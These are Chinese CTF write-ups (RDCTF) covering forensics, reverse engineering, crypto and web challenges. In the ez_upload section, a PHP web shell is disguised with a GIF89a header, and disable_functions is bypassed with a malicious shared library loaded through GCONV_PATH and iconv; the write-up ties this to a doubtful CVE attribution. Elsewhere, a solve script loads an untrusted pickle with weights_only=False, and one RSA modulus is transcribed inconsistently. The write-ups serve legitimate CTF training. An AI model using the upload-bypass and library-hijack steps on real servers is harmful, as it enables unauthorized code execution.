小蚂蚁拿什么剑啊
描述:这是一个流量分析题目。
tshark -r 6d95810d-083b-42eb-baa3-ac717c4b0f66.pcapng 分析该文件
使用 tshark 命令提取 HTTP 响应中的详细数据:tshark -r 6d95810d-083b-42eb-baa3-ac717c4b0f66.pcapng -Y "http.response" -V
发现了一串base64
import base64
data = '7f6c1d4ef77UkRDVEZ7YmQxNWRiMTctNzI5MC00NWYyLWIwMjctYTg2M2Q5Zjg4M2QyfQo=f62ebd462c8'
base64_part = data.split('7f6c1d4ef77')[1].split('f62ebd462c8')[0]
print(base64.b64decode(base64_part).decode('utf-8'))
得到flag:RDCTF{bd15db17-7290-45f2-b027-a863d9f883d2}
Ezbase
程序分析
1. 初步分析
程序为Windows PE文件,初始状态为UPX压缩
脱壳后得到可分析的二进制文件
2. 关键函数分析
主函数 sub_140011D80
__int64 sub_140011D80()
{
// 变量定义...
sub_1400111A4("Input flag: ");
v2 = _acrt_iob_func(0);
if ( fgets(Buffer, 256, v2) )
{
sub_140011BE0(Buffer); // 去除换行符
Size = j_strlen(Buffer);
if ( Size
&& Size < 0x100
&& (j_memcpy(v7, Buffer, Size), sub_1400117D0(v7, Size), sub_140011890((__int64)v7, Size, (__int64)Str1, 0x159u))
&& !j_strcmp(Str1, Str2) )
{
puts("Correct!");
}
else
{
puts("Wrong!");
}
}
// ...
return 0;
}
异或处理函数 sub_1400117D0
__int64 __fastcall sub_1400117D0(__int64 a1, unsigned __int64 a2)
{
__int64 result; // rax
__int64 i; // [rsp+28h] [rbp+8h]
for ( i = 0; ; ++i )
{
result = i + 1;
if ( i + 1 >= a2 )
break;
*(_BYTE *)(i + a1) ^= *(_BYTE *)(i + a1 + 1);
}
return result;
}
自定义base64编码函数 sub_140011890
__int64 __fastcall sub_140011890(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned __int64 a4)
{
// 变量定义...
if ( a4 < 4 * ((a2 + 2) / 3) + 1 )
return 0;
v5 = 0;
for ( i = 0; i < a2; i += 3LL )
{
// 处理输入数据...
v11 = v13 | (v10 << 8) | (*(unsigned __int8 *)(i + a1) << 16);
*(_BYTE *)(v5 + a3) = aQwertyuiopasdf[(v11 >> 18) & 0x3F];
v6 = v5 + 1;
*(_BYTE *)(v6 + a3) = aQwertyuiopasdf[(v11 >> 12) & 0x3F];
v7 = v6 + 1;
if ( i + 1 >= a2 )
v14 = 61; // '='
else
v14 = aQwertyuiopasdf[(v11 >> 6) & 0x3F];
*(_BYTE *)(v7 + a3) = v14;
v8 = v7 + 1;
if ( i + 2 >= a2 )
v15 = 61; // '='
else
v15 = aQwertyuiopasdf[v11 & 0x3F];
*(_BYTE *)(v8 + a3) = v15;
v5 = v8 + 1;
}
*(_BYTE *)(v5 + a3) = 0;
return v5;
}
3. 关键数据
自定义base64表
QWERTYUIOPASDFGHJKLZXCVBNMabcdefghijklmnopqrstuvwxyz0123456789+/
编码后的字符串
YgcBTj0DKQPLX11ebUgIby0VW1KKGKxzBlhTKgFEKQXRWgYeV2omLXXqaJXTaUhfV2wtJwdeB2g5CwXEYwQQBI0=
解题思路
1. 逆向过程分析
程序处理流程:
- 输入flag → 去除换行符 → 异或处理 → 自定义base64编码 → 与预设值比较逆向步骤:
- 自定义base64解码 → 逆向异或处理 → 得到原始flag
2. 实现细节
自定义base64解码
使用题目提供的自定义base64表进行解码
处理填充字符 '='
逆向异或处理
异或操作是可逆的:
a ^ b ^ b = a从后往前处理,恢复原始数据
解题代码
PowerShell 脚本
# 自定义base64表
$customTable = "QWERTYUIOPASDFGHJKLZXCVBNMabcdefghijklmnopqrstuvwxyz0123456789+/"
# 编码后的字符串
$encodedStr = "YgcBTj0DKQPLX11ebUgIby0VW1KKGKxzBlhTKgFEKQXRWgYeV2omLXXqaJXTaUhfV2wtJwdeB2g5CwXEYwQQBI0="
# 1. 自定义base64解码
function DecodeCustomBase64($encoded, $customTable) {
$decoded = @()
$bits = ""
foreach ($c in $encoded.ToCharArray()) {
if ($c -eq '=') {
continue
}
$idx = $customTable.IndexOf($c)
if ($idx -eq -1) {
continue
}
$bits += [Convert]::ToString($idx, 2).PadLeft(6, '0')
}
for ($i = 0; $i -lt $bits.Length - 6; $i += 8) {
if ($i + 8 -gt $bits.Length) {
break
}
$byteStr = $bits.Substring($i, 8)
$byte = [Convert]::ToInt32($byteStr, 2)
$decoded += $byte
}
return $decoded
}
# 2. 逆向sub_1400117D0函数的操作
function ReverseXorOperation($bytes) {
# 从后往前处理
for ($i = $bytes.Length - 2; $i -ge 0; $i--) {
$bytes[$i] = $bytes[$i] -bxor $bytes[$i + 1]
}
return $bytes
}
# 执行解码
$decodedBytes = DecodeCustomBase64 $encodedStr $customTable
# 执行逆向异或操作
$originalBytes = ReverseXorOperation $decodedBytes
# 转换为字符串
$flag = -join ($originalBytes | ForEach-Object { [char]$_ })
Write-Host "Flag: $flag"
运行结果
Flag: RDCTF{w31c0m3_70_rdc7f_C0n6r47u14710n5_y0u_637_7h3_r16h7_f146!!!}
sign in
给出一段 Python 代码:
from math import lcm
from Crypto.Util.number import *
from secrets import flag
p = getPrime(512)
q = getPrime(512)
n = p * q
m = bytes_to_long(flag)
e = lcm(p - 1, q - 1) - 1
c = pow(m, e, n)
print(f"n = {n}")
print(f"c = {c}")
# n = 8361079802492599664872263084074774151216050846496507764877107571363211031801920047849373267712354293588291130526038987776051260773780288857134243831386357173210052792035758223517443738061819730217655806432229128659331884868360667339831486733682473306585485025629579583503930932330062495890756152389878725363
# c = 77329031239551747098741279001766373605032807568073411648374335618913647229622551339221811139169208870251932566758930221945464120608981930902671426680176002899986807783654758555033244967299081953242525118242614366948888146435154917839074238457570488865817546147078192396282106365527579625709133854277995299788
核心观察
这道题使用的是 RSA 场景:
- 模数:n = p * q
- 明文:m = bytes_to_long(flag)关键点在于 e 的取值:
e = lcm(p - 1, q - 1) - 1
记
[
\lambda(n) = \text{lcm}(p-1, q-1)
]
则题目令
[
e = \lambda(n) - 1
]
密文为:
[
c = m^e \bmod n = m^{\lambda(n)-1} \bmod n
]
数学推导
对 RSA 来说,如果 (\gcd(m, n) = 1),有 Carmichael 定理:
[
m^{\lambda(n)} \equiv 1 \pmod{n}
]
因此:
[
c = m^{\lambda(n)-1} \equiv m^{-1} \pmod{n}
]
也就是说,密文 c 是明文 m 在模 n 下的乘法逆元:
[
c \equiv m^{-1} \pmod{n} \Rightarrow m \equiv c^{-1} \pmod{n}
]
所以,这题根本不需要分解 n,也不需要算私钥 d,直接对 c 求模逆就能得到 m:
[
m = c^{-1} \bmod n
]
最后再把 m 从整数转回字节串,即可得到 flag。
解题脚本
这里用 Python 的内置 pow 直接求模逆(Python3 支持 pow(a, -1, mod)):
n = 83610798024925996648722630840747741512160508464965077648771075713632110318019200478493732677123542935882911305260389877760512607737802888571342438313863571732100527920357582235174437380618197302176558064322291286593318848683606673398314867336824733065854850256295795835039309323300624958907561523898787253639
c = 77329031239551747098741279001766373605032807568073411648374335618913647229622551339221811139169208870251932566758930221945464120608981930902671426680176002899986807783654758555033244967299081953242525118242614366948888146435154917839074238457570488865817546147078192396282106365527579625709133854277995299788
# 计算 m = c^{-1} mod n
m = pow(c, -1, n)
# 将整数 m 转成 bytes,再转成字符串
l = (m.bit_length() + 7) // 8
flag = m.to_bytes(l, "big")
print(flag)
运行输出:
b'RDCTF{N3W_Y34R_N3W_T45K}'
Fibonacci?Tribonacci!
题目给出
脚本内容如下(核心部分):
from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from hashlib import md5
from secrets import flag
a = 114514
b = 1919810
c = 3502344
n = 2441279589855072012185493681589677978850030233737936622124189385966876579465581965714739695219635524618006351540383392462915145232447242610170569115379
p = 12558003803926122355192856799223219808675997425382453316279914088710915515394834253948359113075685634044322094918238512778425787825701396013393798956758721
for _ in range(n):
a, b, c = b, c, (a + 2 * b + 3 * c) % p
key = md5((str(a) + str(b) + str(c)).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
enc = cipher.encrypt(pad(flag, 16))
print(f"enc = {enc.hex()}")
# enc = 3c1a9e8de775f9bf61fbb34673c44818d3522477c7f51a803de8e180e101eb00726992cc5906116801f7d8c893c28129
提示:这是斐波那契吗。
思路分析
循环中每一步的更新为
- a' = b
- b' = c
- c' = (a + 2b + 3c) mod p这是一个三阶线性递推(类似 Tribonacci),可以写成矩阵形式:
[
\begin{pmatrix}
a' \
b' \
c'
\end{pmatrix}
=
\begin{pmatrix}
0 & 1 & 0 \
0 & 0 & 1 \
1 & 2 & 3
\end{pmatrix}
\begin{pmatrix}
a
b \
c
\end{pmatrix}
\pmod p
]记初始向量 v₀ = (a₀, b₀, c₀)ᵀ,转移矩阵 M,如上所示。
循环跑 n 次即 vₙ = Mⁿ · v₀(所有运算都在模 p 下进行)。
n 极大,无法直接模拟,但可以用矩阵快速幂在 O(log n) 步完成计算。
得到最终的 aₙ, bₙ, cₙ 之后,用
- key = md5((str(aₙ) + str(bₙ) + str(cₙ)).encode()).digest()
- 模式为 AES-ECB
- 已知 enc,因此直接解密即可拿到 flag。
总体结构:这是“斐波那契风格线性递推 + 矩阵快速幂 + 对称密钥解密”的组合题。
解题脚本
编写解密脚本 solve_fib_tri.py:
from Crypto.Cipher import AES
from hashlib import md5
def mat_mul(a, b, mod):
return [
[
(a[i][0] * b[0][j] + a[i][1] * b[1][j] + a[i][2] * b[2][j]) % mod
for j in range(3)
]
for i in range(3)
]
def mat_pow(m, e, mod):
r = [[1 if i == j else 0 for j in range(3)] for i in range(3)]
while e > 0:
if e & 1:
r = mat_mul(r, m, mod)
m = mat_mul(m, m, mod)
e >>= 1
return r
def main():
a0 = 114514
b0 = 1919810
c0 = 3502344
n = 2441279589855072012185493681589677978850030233737936622124189385966876579465581965714739695219635524618006351540383392462915145232447242610170569115379
p = 12558003803926122355192856799223219808675997425382453316279914088710915515394834253948359113075685634044322094918238512778425787825701396013393798956758721
enc_hex = "3c1a9e8de775f9bf61fbb34673c44818d3522477c7f51a803de8e180e101eb00726992cc5906116801f7d8c893c28129"
m = [
[0, 1, 0],
[0, 0, 1],
[1, 2, 3],
]
mn = mat_pow(m, n, p)
v0 = [a0, b0, c0]
an, bn, cn = [
(mn[i][0] * v0[0] + mn[i][1] * v0[1] + mn[i][2] * v0[2]) % p for i in range(3)
]
key_material = (str(an) + str(bn) + str(cn)).encode()
key = md5(key_material).digest()
cipher = AES.new(key, AES.MODE_ECB)
plaintext = cipher.decrypt(bytes.fromhex(enc_hex))
print(plaintext)
if __name__ == "__main__":
main()
运行脚本:
b'RDCTF{f1b0n4cc1_l1k3_m4tr1x_f4st_p0w3r1ng}\x06\x06\x06\x06\x06\x06'
可以看到是一个带 PKCS#7 填充的字节串,去掉末尾的 \x06 即可得到 flag。
ez_upload
解题步骤
1. 信息收集与文件上传绕过
访问目标网站,发现是一个文件上传页面。尝试上传常规 PHP 脚本,提示“不是图片”。
经过测试,服务器检查了文件内容头(Magic Bytes)。
绕过方式:
在 PHP 文件头部添加 GIF89a,并将文件后缀保留为 .php。
Payload 示例:
GIF89a
<?php phpinfo(); ?>
上传成功后,可以执行 PHP 代码。
2. 环境检测
通过 phpinfo() 和简单的探测脚本发现:
Flag 位置:
/flag(权限为 root:root 400),Web 用户无法直接读取。特权程序: 存在
/readflag程序,推测用于读取 flag。函数禁用 (disable_functions): 禁用了
system,exec,shell_exec,passthru,proc_open等命令执行函数。可用函数: 发现
putenv和iconv函数未被禁用。系统环境: Linux (Debian/Ubuntu),PHP 7.4。
3. 限制绕过 (Bypass disable_functions)
由于无法直接使用 system 执行 /readflag,需要利用环境变量劫持绕过。
常见的 LD_PRELOAD 劫持 mail() 函数的方法尝试失败(可能是 sendmail 未安装或不可用)。
转向使用 iconv GCONV_PATH 劫持 漏洞 (CVE-2021-40438 相关变体利用)。
原理:
PHP 的 iconv 函数在进行字符集转换时,会根据 GCONV_PATH 环境变量加载 gconv-modules 配置文件。通过控制该环境变量,可以诱导 glibc 加载恶意的共享库 (.so)。
4. 漏洞利用实施
A. 编写恶意共享库 (hack.c)
编写一个 C 程序,利用构造函数 (__attribute__((constructor))) 在库加载时自动执行命令。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void __attribute__((constructor)) init() {
unsetenv("LD_PRELOAD"); // 清理环境变量防止死循环
system("/readflag > /tmp/flag_output"); // 执行 readflag 并将结果写入临时文件
}
编译为 hack.so (本地编译或通过 hex/base64 还原)。
B. 构造 gconv-modules
配置文件内容,定义一个自定义字符集 PWNED 指向我们的恶意库。
module PWNED// INTERNAL hack 2
module INTERNAL PWNED// hack 2
C. 上传与触发
利用自动化脚本 final_exploit.py 完成以下步骤:
上传 Shell: 上传一个包含
eval的commander.php。写入文件:
- 将hack.so的 Base64 解码写入/tmp/hack.so。
- 将gconv-modules写入/tmp/gconv-modules。触发执行:
发送 PHP 代码设置环境变量并调用iconv:php putenv("GCONV_PATH=/tmp/"); iconv("PWNED", "UTF-8", "test");获取 Flag:
读取/tmp/flag_output文件内容。
最终 Flag
flag{7b608b52-ef83-4970-936d-96c2d3ced0fc-80-41}
ez_pth
文件分析
这是一个AI的pth文件。需要pytorch
# get_flag.py
import torch
class CTFFlagModel(torch.nn.Module):
def __init__(self):
super(CTFFlagModel, self).__init__()
self.fc = torch.nn.Linear(10, 5)
def forward(self, x):
return self.fc(x)
# 加载模型
model = torch.load(r'E:\06_Workbench\RDctf\ai\1.pth', weights_only=False)
# 直接获取flag属性
if hasattr(model, 'flag'):
flag_value = getattr(model, 'flag')
print("🎉 找到Flag!")
print(f"Flag: {flag_value}")
else:
print("未找到flag属性")
# 检查所有可能的属性
print("\n所有模型属性:")
for attr_name in dir(model):
if not attr_name.startswith('_'):
attr_value = getattr(model, attr_name)
if not callable(attr_value):
print(f"{attr_name}: {attr_value}")
ezpy
概述
题目描述:奶龙刚学会用 PyInstaller 把 Python 打包为 exe,找出藏在里面的 flag。
最终答案:RDCTF{w0_5h1_n41_10n6_w0_c41_5h1_n4_10n6}
有效步骤
解包可执行文件
- 使用 PyInstaller 自带工具列出 CArchive 内容:
- 命令:pyi-archive_viewer -b video.exe
- 关键条目:出现脚本项“1”,以及 PYZ.pyz(打包的 Python 模块与脚本)
- 自动解包 PYZ:
- 命令:python pyinstxtractor.py video.exe
- 结果目录:video.exe_extracted/PYZ-00.pyz_extracted(标准库模块已解出)
- 直接提取主脚本 pyc(来自 CArchive 列表的条目“1”):
- 利用 CArchive 头部 MEI cookie 与条目的 position/length,定位并解压条目数据为 pyc
- 生成文件:video_1.pyc反编译 pyc 获取逻辑
- 工具:PyLingual(可直接上传 .pyc 进行反编译)
- 反编译得到的核心代码(简化展示):
def rc4(data: bytes, key: bytes) -> bytes:
s = list(range(256))
j = 0
for i in range(256):
j = j + s[i] + key[i % len(key)] & 255
s[i], s[j] = (s[j], s[i])
i = j = 0
out = bytearray()
for b in data:
i = i + 1 & 255
j = j + s[i] & 255
s[i], s[j] = (s[j], s[i])
k = s[s[i] + s[j] & 255]
out.append(b ^ k)
return bytes(out)
def main():
print('plz input the flag:')
key = b'nailong'
target = bytes.fromhex('2ef01fece0420e0e3d2179e97f26eeab020a32ef51e2a73b2ab6d550196858fa89cf284397df709afc')
s = input().strip()
if rc4(s.encode('utf-8'), key) == target:
print('right!!!')
else:
print('wrong!!!')
if __name__ == '__main__':
main()
```
- 还原 flag(逆向 RC4)
- 由于运行时是 rc4(输入, key) == target,想得到输入,只需对 target 做同样 RC4 操作(RC4 可逆):
```python
from binascii import unhexlify
def rc4(data: bytes, key: bytes) -> bytes:
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + key[i % len(key)]) & 255
s[i], s[j] = s[j], s[i]
i = j = 0
out = bytearray()
for b in data:
i = (i + 1) & 255
j = (j + s[i]) & 255
s[i], s[j] = s[j], s[i]
k = s[(s[i] + s[j]) & 255]
out.append(b ^ k)
return bytes(out)
key = b'nailong'
target = unhexlify('2ef01fece0420e0e3d2179e97f26eeab020a32ef51e2a73b2ab6d550196858fa89cf284397df709afc')
flag = rc4(target, key).decode('utf-8')
print(flag) # RDCTF{w0_5h1_n41_10n6_w0_c41_5h1_n4_10n6}
产物
主脚本 pyc:[video_1.pyc](file:///e:/06_Workbench/RDctf/re/ezpy/video_1.pyc
已解出的标准库模块目录:PYZ-00.pyz_extracted
使用的库与提取脚本
工具/库
- PyInstaller 的 pyi-archive_viewer(用于列出 PKG/CArchive 并获取条目偏移与长度)
- Python 标准库 struct 与 zlib(用于解析 MEI cookie 与解压条目数据)
- 自备脚本:本仓库中的 pyinstxtractor.py(自动解包 PYZ)直接提取主脚本 pyc 的示例脚本(根据 pyi-archive_viewer 列出条目“1”的位置与大小提取):
import struct, zlib
s = open('video.exe', 'rb').read()
m = b'MEI\x0c\x0b\x0a\x0b\x0e'
p = s.rfind(m)
# 由头部计算得到的包起始(结合 PyInstaller 结构与实际检查)
pkg_start = 345600
# 由 pyi-archive_viewer 列表得到的条目“1”的偏移与长度
pos = 14579
length = 645
raw = s[pkg_start + pos : pkg_start + pos + length]
blob = zlib.decompress(raw)
# 写入有效 pyc(Python 3.x 头 + 代码对象)
open('video_1.pyc', 'wb').write(b'\x55\x0d\x0d\x0a' + b'\x00' * 12 + blob)
被打包的脚本代码(题目原始逻辑)
def rc4(data: bytes, key: bytes) -> bytes:
s = list(range(256))
j = 0
for i in range(256):
j = j + s[i] + key[i % len(key)] & 255
s[i], s[j] = (s[j], s[i])
i = j = 0
out = bytearray()
for b in data:
i = i + 1 & 255
j = j + s[i] & 255
s[i], s[j] = (s[j], s[i])
k = s[s[i] + s[j] & 255]
out.append(b ^ k)
return bytes(out)
def main():
print('plz input the flag:')
key = b'nailong'
target = bytes.fromhex('2ef01fece0420e0e3d2179e97f26eeab020a32ef51e2a73b2ab6d550196858fa89cf284397df709afc')
s = input().strip()
if rc4(s.encode('utf-8'), key) == target:
print('right!!!')
else:
print('wrong!!!')
if __name__ == '__main__':
main()
ezvm
题目信息
比赛:RDCTF
分类:Reverse / VM
文件:
video.exeflag 前缀:
rdctf最终 flag:
rdctf{vm_is_easy_for_you}
初步分析
载入 IDA(x64),找到真正的入口 main(地址 0x1400011F0):
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *v3;
int v5;
unsigned __int8 v6;
unsigned int v7;
unsigned int v8;
unsigned __int16 v9;
int v10;
int v11;
_DWORD v12[64];
memset(v12, 0, sizeof(v12));
v5 = -1;
v7 = 0;
v8 = 0;
v10 = 0;
v6 = 0;
v3 = _acrt_iob_func(1u);
setvbuf(v3, 0, 4, 0);
sub_140001060("plz input the flag:");
while ( 1 )
{
if ( (unsigned int)dword_140005CC4 > 0x320 )
{
puts("ip out of range");
return 0;
}
sub_1400011B0();
v9 = word_140005090[dword_140005CC4];
if ( !v9 )
break;
if ( v5 < -1 || v5 >= 64 )
{
puts("stack bad");
return 0;
}
switch ( v9 )
{
...
}
}
sub_140001060("right!!!");
return 0;
}
可以看到:
程序提示输入 flag,并进入一个循环解释器。
dword_140005CC4是 VM 的ip。word_140005090是一串字节码。通过
switch (v9)对不同“指令”进行处理,是典型 VM 结构。
字节码存储与解密
在每次取指前,会调用 sub_1400011B0:
int sub_1400011B0()
{
int result;
result = IsDebuggerPresent();
if ( !result )
{
result = dword_140005080 ^ word_140005090[dword_140005CC4];
word_140005090[dword_140005CC4] ^= dword_140005080;
}
return result;
}
含义:
如果没被调试,则用一个 32 位 key
dword_140005080去异或当前字节码并写回。初始
dword_140005080 = 17(在.data区能读到)。在
main的switch中,不同指令会以不同方式修改 key(加一或^=0x25),形成一个与执行路径相关的解密流程。
在调试器里把word_140005090整块 dump 出来(本题中位于0x140005090),得到的是一串 16 位小端字。
指令集
结合 switch 分支以及若干算术函数,可以得到 VM 指令集大致如下(只列出关键):
| opcode | 含义 |
|--------|-------------------------|
| 4 | v7 = v6(把输入字节收集到寄存器) |
| 5 | v10 = v7 >> v8 |
| 6 | v10 = v7 << v8 |
| 7 | 若 v10 == 0 则输出 wrong!!! 结束;否则继续且 key ^= 0x25 |
| 8 | 从 stdin 读取一个字节到 v6 |
| 9 | v10 = (v7 == v8) |
| A | push(v7 + v8) |
| B | push(v7 - v8) |
| C | push(v7 ^ v8) |
| D | 带解密的立即数入栈 |
| E | v7 = pop() |
| F | v8 = pop() |
其中 D 指令有一点特别:
case 0xDu:
if ( v5 + 1 >= 64 ) { puts("stack overflow"); return 0; }
if ( dword_140005CC4 + 1 >= 801 ) { puts("bad bytecode"); return 0; }
++dword_140005CC4;
dword_140005080 ^= 0x25u;
word_140005090[dword_140005CC4] ^= dword_140005080;
v12[++v5] = word_140005090[dword_140005CC4++];
++dword_140005080;
continue;
先
ip++,key ^= 0x25,用新 key 把紧接的字节码再次解密并写回。再把解密后的值压栈,并
ip++,key++。
这样不仅 opcode 被动态解密,立即数也会被按执行路径二次解密
校验逻辑(整体流程)
从高层看,整个 VM 做的事情是:
不断读取用户输入的字符(通过 opcode 8)。
每读一个字符,就对这个字符进行一系列运算,最终与某个常量比较(通过 9 和 7)。
只要有一个字符不满足等式,opcode 7 就会触发
wrong!!!,程序退出。当所有字符都通过校验,字节码流遇到
0结束,打印right!!!。
因此可以认为这是“逐字符约束 + 立即失败”的模式,非常适合做逐字爆破。
自动求解思路
直接手算整套 VM 比较繁琐,但可以利用 VM 自己做“判题器”:
从文件中复制整块
word_140005090到脚本里,保持小端序。在脚本中实现一个与二进制完全一致的 VM:
- 维护ip、key、sp、stack、v6、v7、v8、v10。
- 所有 key 的变换(+1、^=0x25)要精确一致。
- D 指令对立即数的解密和写回也要实现。执行 VM:
- 每次跑到 opcode 8 时,代表程序需要读一个新字符,此时暂停。
- 保存当前 VM 的完整快照(寄存器、栈、code 数组、ip、key)。对当前这个字符做穷举:
- 对 c 从 32 到 126:
- 恢复快照,把v6 = c。
- 继续执行,在本轮中要么遇到wrong!!!(opcode 7 且v10 == 0),要么遇到一个“通过”的 7(v10 != 0),或者异常。
- 只要有一种 c 能让这轮执行落在“通过”的 7,就认为该 c 是这个位置的正确字符。把该字符加入 flag,继续执行 VM,直到遇到 opcode 0(halt)。
求解脚本实现
下面是简化后的 Python 版本(去掉长数据,只展示核心结构)。完整版本见仓库中的 solve_ezvm.py:
DATA_HEX = "..." # 省略
def parse_words():
toks = [t for t in DATA_HEX.strip().split() if t.startswith("0x")]
bytes_list = [int(t, 16) for t in toks]
words = []
for i in range(0, len(bytes_list), 2):
lo = bytes_list[i]
hi = bytes_list[i+1] if i+1 < len(bytes_list) else 0
words.append(lo | (hi << 8))
return words
class VM:
def __init__(self, code):
self.code = code[:]
self.ip = 0
self.key = 17
self.sp = -1
self.stack = [0] * 64
self.v6 = self.v7 = self.v8 = self.v10 = 0
def step(self):
if self.ip >= len(self.code):
return ("eof", None)
op = self.code[self.ip] ^ self.key
self.code[self.ip] ^= self.key
if op == 0:
return ("halt", None)
if op == 4:
self.v7 = self.v6
self.ip += 1
self.key = (self.key + 1) & 0xFFFFFFFF
return ("cont", None)
if op == 5:
self.v10 = (self.v7 >> (self.v8 & 31)) & 0xFFFFFFFF
self.ip += 1
self.key = (self.key + 1) & 0xFFFFFFFF
return ("cont", None)
if op == 6:
self.v10 = (self.v7 << (self.v8 & 31)) & 0xFFFFFFFF
self.ip += 1
self.key = (self.key + 1) & 0xFFFFFFFF
return ("cont", None)
if op == 7:
if self.v10 == 0:
return ("wrong", None)
self.ip += 1
self.key ^= 0x25
return ("ok", None)
if op == 8:
self.ip += 1
self.key ^= 0x25
return ("cont", "read")
if op == 9:
self.v10 = 1 if (self.v7 == self.v8) else 0
self.ip += 1
self.key ^= 0x25
return ("cont", None)
if op == 0xA:
if self.sp + 1 >= 64:
return ("error", "stack overflow")
self.sp += 1
self.stack[self.sp] = (self.v7 + self.v8) & 0xFFFFFFFF
self.ip += 1
self.key ^= 0x25
return ("cont", None)
if op == 0xB:
if self.sp + 1 >= 64:
return ("error", "stack overflow")
self.sp += 1
self.stack[self.sp] = (self.v7 - self.v8) & 0xFFFFFFFF
self.ip += 1
self.key ^= 0x25
return ("cont", None)
if op == 0xC:
if self.sp + 1 >= 64:
return ("error", "stack overflow")
self.sp += 1
self.stack[self.sp] = (self.v8 ^ self.v7) & 0xFFFFFFFF
self.key ^= 0x25
self.ip += 1
return ("cont", None)
if op == 0xD:
if self.sp + 1 >= 64:
return ("error", "stack overflow")
if self.ip + 1 >= len(self.code):
return ("error", "bad bytecode")
self.ip += 1
self.key ^= 0x25
val = self.code[self.ip] ^ self.key
self.code[self.ip] ^= self.key
self.sp += 1
self.stack[self.sp] = val & 0xFFFFFFFF
self.ip += 1
self.key = (self.key + 1) & 0xFFFFFFFF
return ("cont", None)
if op == 0xE:
if self.sp < 0:
return ("error", "stack underflow")
self.v7 = self.stack[self.sp] & 0xFFFFFFFF
self.sp -= 1
self.key ^= 0x25
self.ip += 1
return ("cont", None)
if op == 0xF:
if self.sp < 0:
return ("error", "stack underflow")
self.v8 = self.stack[self.sp] & 0xFFFFFFFF
self.sp -= 1
self.key ^= 0x25
self.ip += 1
return ("cont", None)
self.ip += 1
self.key = (self.key + 1) & 0xFFFFFFFF
return ("cont", None)
def recover_flag():
code = parse_words()
vm = VM(code)
flag_chars = []
while True:
while True:
st, info = vm.step()
if st == "halt":
return "".join(flag_chars)
if st in ("wrong", "error"):
return None
if info == "read":
break
found = None
snapshot = (vm.ip, vm.key, vm.sp, vm.stack[:], vm.v7, vm.v8, vm.v10, vm.code[:])
for c in range(32, 127):
vm.ip, vm.key, vm.sp = snapshot[0], snapshot[1], snapshot[2]
vm.stack = snapshot[3][:]
vm.v7, vm.v8, vm.v10 = snapshot[4], snapshot[5], snapshot[6]
vm.code = snapshot[7][:]
vm.v6 = c
ok = None
while True:
st, info = vm.step()
if st in ("halt", "error", "wrong"):
ok = False
break
if st == "ok":
ok = True
break
if ok:
found = chr(c)
break
if not found:
return None
flag_chars.append(found)
if __name__ == "__main__":
print(recover_flag())
在题目给出的环境中运行完整脚本,得到输出:
rdctf{vm_is_easy_for_you}